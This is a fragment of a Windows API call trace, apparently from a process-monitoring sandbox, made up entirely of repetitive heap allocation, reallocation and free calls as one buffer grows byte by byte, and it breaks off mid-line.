1 [0068.237] GetProcessHeap () returned 0x630000 [0068.237] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68f348, Size=0x5c) returned 0x68f7c0 [0068.237] GetProcessHeap () returned 0x630000 [0068.237] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.237] GetProcessHeap () returned 0x630000 [0068.237] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f98 | out: hHeap=0x630000) returned 1 [0068.237] GetProcessHeap () returned 0x630000 [0068.237] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68f7c0, Size=0x5d) returned 0x68f348 [0068.237] GetProcessHeap () returned 0x630000 [0068.237] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1058 [0068.237] GetProcessHeap () returned 0x630000 [0068.237] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.237] GetProcessHeap () returned 0x630000 [0068.237] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68f348, Size=0x5e) returned 0x68f3b0 [0068.237] GetProcessHeap () returned 0x630000 [0068.237] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.237] GetProcessHeap () returned 0x630000 [0068.237] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0068.238] GetProcessHeap () returned 0x630000 [0068.238] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68f3b0, Size=0x5f) returned 0x68f7c0 [0068.238] GetProcessHeap () returned 0x630000 [0068.238] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1070 [0068.238] GetProcessHeap () returned 0x630000 [0068.238] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.238] GetProcessHeap () returned 0x630000 [0068.238] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68f7c0, Size=0x60) returned 0x68f5b8 [0068.238] GetProcessHeap () returned 0x630000 [0068.238] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10a0 [0068.238] GetProcessHeap () returned 0x630000 [0068.238] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1070 | out: hHeap=0x630000) returned 1 [0068.238] GetProcessHeap () returned 0x630000 [0068.238] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68f5b8, Size=0x61) returned 0x696e40 [0068.238] GetProcessHeap () returned 0x630000 [0068.238] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1028 [0068.238] GetProcessHeap () returned 0x630000 [0068.238] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10a0 | out: hHeap=0x630000) returned 1 [0068.238] GetProcessHeap () returned 0x630000 [0068.238] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x696e40, Size=0x62) returned 0x696f20 [0068.238] GetProcessHeap () returned 0x630000 [0068.238] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ea8 [0068.238] GetProcessHeap () returned 0x630000 [0068.238] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1028 | out: hHeap=0x630000) returned 1 [0068.238] GetProcessHeap () returned 0x630000 [0068.238] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x696f20, Size=0x63) returned 0x6970e0 [0068.238] GetProcessHeap () returned 0x630000 [0068.238] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ef0 [0068.238] GetProcessHeap () returned 0x630000 [0068.238] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.238] GetProcessHeap () returned 0x630000 [0068.238] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6970e0, Size=0x64) returned 0x697620 [0068.238] GetProcessHeap () returned 0x630000 [0068.238] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.238] GetProcessHeap () returned 0x630000 [0068.238] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ef0 | out: hHeap=0x630000) returned 1 [0068.238] GetProcessHeap () returned 0x630000 [0068.238] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x697620, Size=0x65) returned 0x697380 [0068.238] GetProcessHeap () returned 0x630000 [0068.238] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.238] GetProcessHeap () returned 0x630000 [0068.238] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.239] GetProcessHeap () returned 0x630000 [0068.239] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x697380, Size=0x66) returned 0x6972a0 [0068.239] GetProcessHeap () returned 0x630000 [0068.239] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.239] GetProcessHeap () returned 0x630000 [0068.239] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.239] GetProcessHeap () returned 0x630000 [0068.239] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6972a0, Size=0x67) returned 0x6973f0 [0068.239] GetProcessHeap () returned 0x630000 [0068.239] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.239] GetProcessHeap () returned 0x630000 [0068.239] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.239] GetProcessHeap () returned 0x630000 [0068.239] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6973f0, Size=0x68) returned 0x697460 [0068.239] GetProcessHeap () returned 0x630000 [0068.239] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ef0 [0068.239] GetProcessHeap () returned 0x630000 [0068.239] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.239] GetProcessHeap () returned 0x630000 [0068.239] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x697460, Size=0x69) returned 0x695768 [0068.239] GetProcessHeap () returned 0x630000 [0068.239] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.239] GetProcessHeap () returned 0x630000 [0068.239] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ef0 | out: hHeap=0x630000) returned 1 [0068.239] GetProcessHeap () returned 0x630000 [0068.239] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x695768, Size=0x6a) returned 0x695c18 [0068.239] GetProcessHeap () returned 0x630000 [0068.239] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ed8 [0068.239] GetProcessHeap () returned 0x630000 [0068.239] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.239] GetProcessHeap () returned 0x630000 [0068.239] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x695c18, Size=0x6b) returned 0x6956f0 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6956f0, Size=0x6c) returned 0x695948 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1010 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x695948, Size=0x6d) returned 0x695a38 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1100 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x695a38, Size=0x6e) returned 0x695768 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ef0 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1100 | out: hHeap=0x630000) returned 1 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x695768, Size=0x6f) returned 0x695858 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1100 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ef0 | out: hHeap=0x630000) returned 1 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x695858, Size=0x70) returned 0x695ba0 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10b8 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1100 | out: hHeap=0x630000) returned 1 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x695ba0, Size=0x71) returned 0x68fc78 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f68 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10b8 | out: hHeap=0x630000) returned 1 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68fc78, Size=0x72) returned 0x690278 [0068.240] GetProcessHeap () returned 0x630000 [0068.240] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.241] GetProcessHeap () returned 0x630000 [0068.241] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f68 | out: hHeap=0x630000) returned 1 [0068.241] GetProcessHeap () returned 0x630000 [0068.241] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x690278, Size=0x73) returned 0x68ff78 [0068.241] GetProcessHeap () returned 0x630000 [0068.241] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1100 [0068.241] GetProcessHeap () returned 0x630000 [0068.241] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.241] GetProcessHeap () returned 0x630000 [0068.241] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68ff78, Size=0x74) returned 0x690a78 [0068.241] GetProcessHeap () returned 0x630000 [0068.241] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.241] GetProcessHeap () returned 0x630000 [0068.241] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1100 | out: hHeap=0x630000) returned 1 [0068.241] GetProcessHeap () returned 0x630000 [0068.241] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x690a78, Size=0x75) returned 0x690878 [0068.241] GetProcessHeap () returned 0x630000 [0068.241] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1088 [0068.241] GetProcessHeap () returned 0x630000 [0068.241] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.241] GetProcessHeap () returned 0x630000 [0068.241] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x690878, Size=0x76) returned 0x6908f8 [0068.241] GetProcessHeap () returned 0x630000 [0068.241] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.241] GetProcessHeap () returned 0x630000 [0068.241] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1088 | out: hHeap=0x630000) returned 1 [0068.241] GetProcessHeap () returned 0x630000 [0068.241] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6908f8, Size=0x77) returned 0x690878 [0068.241] GetProcessHeap () returned 0x630000 [0068.241] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.241] GetProcessHeap () returned 0x630000 [0068.241] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.241] GetProcessHeap () returned 0x630000 [0068.241] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x690878, Size=0x78) returned 0x68fd78 [0068.241] GetProcessHeap () returned 0x630000 [0068.241] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10d0 [0068.241] GetProcessHeap () returned 0x630000 [0068.241] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.241] GetProcessHeap () returned 0x630000 [0068.241] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68fd78, Size=0x79) returned 0x68c230 [0068.241] GetProcessHeap () returned 0x630000 [0068.241] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.241] GetProcessHeap () returned 0x630000 [0068.242] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10d0 | out: hHeap=0x630000) returned 1 [0068.242] GetProcessHeap () returned 0x630000 [0068.242] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68c230, Size=0x7a) returned 0x68b8a0 [0068.242] GetProcessHeap () returned 0x630000 [0068.242] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.242] GetProcessHeap () returned 0x630000 [0068.242] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.242] GetProcessHeap () returned 0x630000 [0068.242] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68b8a0, Size=0x7b) returned 0x68c560 [0068.242] GetProcessHeap () returned 0x630000 [0068.242] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f80 [0068.242] GetProcessHeap () returned 0x630000 [0068.242] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.242] GetProcessHeap () returned 0x630000 [0068.242] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68c560, Size=0x7c) returned 0x68c098 [0068.242] GetProcessHeap () returned 0x630000 [0068.242] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ff8 [0068.242] GetProcessHeap () returned 0x630000 [0068.242] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f80 | out: hHeap=0x630000) returned 1 [0068.242] GetProcessHeap () returned 0x630000 [0068.242] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68c098, Size=0x7d) returned 0x68c2b8 [0068.242] GetProcessHeap () returned 0x630000 [0068.242] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1058 [0068.242] GetProcessHeap () returned 0x630000 [0068.242] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ff8 | out: hHeap=0x630000) returned 1 [0068.242] GetProcessHeap () returned 0x630000 [0068.242] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68c2b8, Size=0x7e) returned 0x68bbd0 [0068.242] GetProcessHeap () returned 0x630000 [0068.242] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.242] GetProcessHeap () returned 0x630000 [0068.242] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0068.242] GetProcessHeap () returned 0x630000 [0068.242] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68bbd0, Size=0x7f) returned 0x68c120 [0068.242] GetProcessHeap () returned 0x630000 [0068.242] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.242] GetProcessHeap () returned 0x630000 [0068.242] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.242] GetProcessHeap () returned 0x630000 [0068.242] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68c120, Size=0x80) returned 0x68bc58 [0068.242] GetProcessHeap () returned 0x630000 [0068.242] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.242] GetProcessHeap () returned 0x630000 [0068.242] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.242] GetProcessHeap () returned 0x630000 [0068.243] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68bc58, Size=0x81) returned 0x6a5318 [0068.243] GetProcessHeap () returned 0x630000 [0068.243] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ed8 [0068.243] GetProcessHeap () returned 0x630000 [0068.243] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.243] GetProcessHeap () returned 0x630000 [0068.243] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a5318, Size=0x82) returned 0x6a50d8 [0068.243] GetProcessHeap () returned 0x630000 [0068.243] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.243] GetProcessHeap () returned 0x630000 [0068.243] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.243] GetProcessHeap () returned 0x630000 [0068.243] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a50d8, Size=0x83) returned 0x6a5288 [0068.243] GetProcessHeap () returned 0x630000 [0068.243] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1100 [0068.243] GetProcessHeap () returned 0x630000 [0068.243] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.243] GetProcessHeap () returned 0x630000 [0068.243] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a5288, Size=0x84) returned 0x6a4aa8 [0068.243] GetProcessHeap () returned 0x630000 [0068.243] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.243] GetProcessHeap () returned 0x630000 [0068.243] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1100 | out: hHeap=0x630000) returned 1 [0068.243] GetProcessHeap () returned 0x630000 [0068.243] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a4aa8, Size=0x85) returned 0x6a4b38 [0068.243] GetProcessHeap () returned 0x630000 [0068.243] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1040 [0068.243] GetProcessHeap () returned 0x630000 [0068.243] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.243] GetProcessHeap () returned 0x630000 [0068.243] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a4b38, Size=0x86) returned 0x6a5048 [0068.243] GetProcessHeap () returned 0x630000 [0068.243] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.243] GetProcessHeap () returned 0x630000 [0068.243] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0068.243] GetProcessHeap () returned 0x630000 [0068.243] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a5048, Size=0x87) returned 0x6a53a8 [0068.243] GetProcessHeap () returned 0x630000 [0068.243] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10a0 [0068.243] GetProcessHeap () returned 0x630000 [0068.243] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.243] GetProcessHeap () returned 0x630000 [0068.243] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a53a8, Size=0x88) returned 0x6a4988 [0068.244] GetProcessHeap () returned 0x630000 [0068.244] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1100 [0068.244] GetProcessHeap () returned 0x630000 [0068.244] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10a0 | out: hHeap=0x630000) returned 1 [0068.244] GetProcessHeap () returned 0x630000 [0068.244] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a4988, Size=0x89) returned 0x663e08 [0068.244] GetProcessHeap () returned 0x630000 [0068.244] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1010 [0068.244] GetProcessHeap () returned 0x630000 [0068.244] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1100 | out: hHeap=0x630000) returned 1 [0068.244] GetProcessHeap () returned 0x630000 [0068.244] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x663e08, Size=0x8a) returned 0x663d70 [0068.244] GetProcessHeap () returned 0x630000 [0068.244] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.244] GetProcessHeap () returned 0x630000 [0068.244] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0068.244] GetProcessHeap () returned 0x630000 [0068.244] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x663d70, Size=0x8b) returned 0x663f38 [0068.244] GetProcessHeap () returned 0x630000 [0068.244] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1088 [0068.244] GetProcessHeap () returned 0x630000 [0068.244] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.244] GetProcessHeap () returned 0x630000 [0068.244] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x663f38, Size=0x8c) returned 0x663fd0 [0068.244] GetProcessHeap () returned 0x630000 [0068.244] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.244] GetProcessHeap () returned 0x630000 [0068.244] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1088 | out: hHeap=0x630000) returned 1 [0068.244] GetProcessHeap () returned 0x630000 [0068.244] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x663fd0, Size=0x8d) returned 0x6632c0 [0068.244] GetProcessHeap () returned 0x630000 [0068.244] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10d0 [0068.244] GetProcessHeap () returned 0x630000 [0068.244] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.244] GetProcessHeap () returned 0x630000 [0068.244] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6632c0, Size=0x8e) returned 0x663e08 [0068.244] GetProcessHeap () returned 0x630000 [0068.244] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.244] GetProcessHeap () returned 0x630000 [0068.244] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10d0 | out: hHeap=0x630000) returned 1 [0068.244] GetProcessHeap () returned 0x630000 [0068.244] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x663e08, Size=0x8f) returned 0x663780 [0068.244] GetProcessHeap () returned 0x630000 [0068.245] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1100 [0068.245] GetProcessHeap () returned 0x630000 [0068.245] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.245] GetProcessHeap () returned 0x630000 [0068.245] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x663780, Size=0x90) returned 0x663358 [0068.245] GetProcessHeap () returned 0x630000 [0068.245] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ed8 [0068.245] GetProcessHeap () returned 0x630000 [0068.245] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1100 | out: hHeap=0x630000) returned 1 [0068.245] GetProcessHeap () returned 0x630000 [0068.245] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x663358, Size=0x91) returned 0x649458 [0068.245] GetProcessHeap () returned 0x630000 [0068.245] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1100 [0068.245] GetProcessHeap () returned 0x630000 [0068.245] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.245] GetProcessHeap () returned 0x630000 [0068.245] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x92) returned 0x649458 [0068.245] GetProcessHeap () returned 0x630000 [0068.245] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1058 [0068.245] GetProcessHeap () returned 0x630000 [0068.245] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1100 | out: hHeap=0x630000) returned 1 [0068.245] GetProcessHeap () returned 0x630000 [0068.245] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x93) returned 0x649458 [0068.245] GetProcessHeap () returned 0x630000 [0068.245] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fc8 [0068.245] GetProcessHeap () returned 0x630000 [0068.245] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0068.245] GetProcessHeap () returned 0x630000 [0068.245] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x94) returned 0x649458 [0068.245] GetProcessHeap () returned 0x630000 [0068.245] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.245] GetProcessHeap () returned 0x630000 [0068.245] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fc8 | out: hHeap=0x630000) returned 1 [0068.245] GetProcessHeap () returned 0x630000 [0068.245] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x95) returned 0x649458 [0068.245] GetProcessHeap () returned 0x630000 [0068.245] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1010 [0068.245] GetProcessHeap () returned 0x630000 [0068.245] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.245] GetProcessHeap () returned 0x630000 [0068.245] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x96) returned 0x649458 [0068.245] GetProcessHeap () returned 0x630000 [0068.245] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10a0 [0068.245] GetProcessHeap () returned 0x630000 [0068.246] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0068.246] GetProcessHeap () returned 0x630000 [0068.246] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x97) returned 0x649458 [0068.246] GetProcessHeap () returned 0x630000 [0068.246] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 